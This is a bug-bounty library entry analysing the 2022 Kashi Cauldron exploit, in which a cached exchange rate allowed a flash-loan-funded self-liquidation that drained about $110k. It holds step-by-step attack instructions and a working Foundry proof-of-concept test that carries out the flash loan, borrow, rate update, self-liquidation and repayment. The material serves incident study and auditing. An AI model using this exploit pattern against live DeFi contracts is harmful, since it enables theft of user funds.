# Kashi: price-caching defect enables self-liquidation profit

Kashi Cauldron's cached exchange rate let attacker borrow against inflated collateral, self-liquidate at stale price, and drain $110k.

- Payout: Real-world hack
- Severity: high
- Program: Kashi
- Analysis by: DeFiHackLabs
- Disclosed: 2022-11-08
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-11/Kashi_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221108-kashi
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** CauldronMediumRiskV1 lending contract and BentoBox
**Root cause:** Cauldron's exchange rate is cached and only updated via updateExchangeRate; borrowing and liquidation use the stale rate, allowing an attacker to manipulate collateral value and self-liquidate profitably.
**Steps:**
1. Flash loan 450k xSUSHI via BentoBox.batchFlashLoan.
2. Approve BentoBox and deposit 420k xSUSHI as collateral via BentBox.deposit.
3. Add collateral to Cauldron via Cauldron.addCollateral.
4. Borrow 800k MIM via Cauldron.borrow.
5. Call Cauldron.updateExchangeRate() to refresh the cached rate.
6. Self-liquidate 680k MIM debt via Cauldron.liquidate, profiting from the stale exchange rate.
7. Withdraw remaining xSUSHI and MIM from BentoBox.
8. Swap MIM to xSUSHI via SushiSwap to repay flash loan.
**How found:** Likely identified that Cauldron's exchange rate is cached and not updated during borrow/liquidate, enabling price manipulation via self-liquidation.
**Exploitation:** Attacker flash-loaned xSUSHI, deposited as collateral, borrowed MIM, updated exchange rate, then self-liquidated at a favorable cached rate, extracting $110k profit.
**Insight:** In lending protocols, check if exchange rates are cached and only updated via explicit calls; self-liquidation can exploit stale rates if collateral and debt are both controlled.

## Proof of concept (copied exactly from the original report)

**Foundry PoC self-liquidation exploit test**

```
function testExploit() public {
        MIM.approve(address(Router), type(uint256).max);
        address[] memory receivers = new address[](2);
        receivers[0] = address(this);
        receivers[1] = address(this);
        address[] memory tokens = new address[](2);
        tokens[0] = address(xSUSHI);
        tokens[1] = address(MIM);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 450_000 * 1e18;
        amounts[1] = 0;
        BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));

        emit log_named_decimal_uint("[End] Attacker MIM balance after exploit", MIM.balanceOf(address(this)), 18);
    }

    function onBatchFlashLoan(
        address sender,
        IERC20[] calldata tokens,
        uint256[] calldata amounts,
        uint256[] calldata fees,
        bytes calldata data
    ) external {
        BentBox.setMasterContractApproval(address(this), masterContract, true, uint8(0), bytes32(0), bytes32(0));
        xSUSHI.approve(address(BentBox), type(uint256).max);
        BentBox.deposit(address(xSUSHI), address(this), address(this), 0, 420_000 * 1e18);
        Cauldron.addCollateral(address(this), false, 420_000 * 1e18);
        Cauldron.borrow(address(this), 800_000 * 1e18);
        Cauldron.updateExchangeRate();
        address[] memory users = new address[](1);
        users[0] = address(this);
        uint256[] memory maxBorrowParts = new uint256[](1);
        maxBorrowParts[0] = 680_000 * 1e18;
        Cauldron.liquidate(users, maxBorrowParts, address(this), address(0));
        BentBox.withdraw(
            address(xSUSHI), address(this), address(this), 0, BentBox.balanceOf(address(xSUSHI), address(this))
        );
        BentBox.withdraw(address(MIM), address(this), address(this), 0, BentBox.balanceOf(address(MIM), address(this)));
        uint256 swapAmount = 450_000 * 1e18 * 10_005 / 10_000 - xSUSHI.balanceOf(address(this));
        address[] memory path = new address[](3);
        path[0] = address(MIM);
        path[1] = address(WETH);
        path[2] = address(xSUSHI);
        Router.swapTokensForExactTokens(swapAmount, type(uint256).max, path, address(this), block.timestamp);
        xSUSHI.transfer(address(BentBox), 450_225 * 1e18);
    }
```

